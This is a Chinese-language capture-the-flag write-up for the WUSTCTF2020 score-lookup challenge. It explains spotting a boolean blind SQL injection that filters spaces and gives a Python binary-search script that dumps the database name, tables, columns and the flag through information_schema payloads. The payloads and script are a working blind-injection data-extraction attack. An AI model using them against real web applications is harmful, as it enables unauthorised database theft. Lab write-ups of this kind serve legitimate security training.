[WUSTCTF2020]颜值成绩查询
[WUSTCTF2020]颜值成绩查询
先看一下环境,发现两个warning,和一个输入框,网页源码中没有有用的注释。
随便输入两个数提交测试,发现功能就是输入一个学号,然后返回对应的成绩,就是一个简单的查询操作。
当输入的学号不存在时,只会返回“student number not exists.”。
应该是一题盲注题,因为看不见其他的回显信息,初步想法是构造值为1或0的表达式来进行探测。
先尝试使用运算符算出1,使用1*1可以查出成绩,并且几次测试后发现做了过滤空格(输入“1 0 0/1 0 0”也可以出结果)。
盲注+过滤空格,可以先构造以下payload进行测试:
1*(ord(substr(database(),1,1))>0) #可以出结果
这一步确定后,就可以写脚本去爆破数据库了。
基于以前的刷题教训,这里一定要使用二分法进行爆破,速度会快很多。
import requests
import time
url = "http://0e7da1f6-ed29-436e-af3e-441f349ec7e0.node4.buuoj.cn:81/?stunum="
result = ""
i = 0
while (True):
i = i + 1
head = 32
tail = 127
while (head < tail):
mid = (head + tail) >> 1
# payload = "1*(ord(substr(database(), %d,1))>%d)" % (i, mid)
# payload = "1*(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i , mid)
# payload = "1*(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)" % (i, mid)
payload = "1*(ord(substr((select(group_concat(value))from(ctf.flag)),%d,1))>%d)" % (i, mid)
r = requests.get(url + payload)
time.sleep(0.5)
r.encoding = "utf-8"
# print(url+payload)
if "your score is: 100" in r.text:
head = mid + 1
else:
# print(r.text)
tail = mid
last = result
if head != 32:
result += chr(head)
else:
break
print(result)
最终爆出数据库名:ctf
表名:flag
字段名:value
值:flag{51d12303-5a0b-4281-b48b-90fa4dd17389}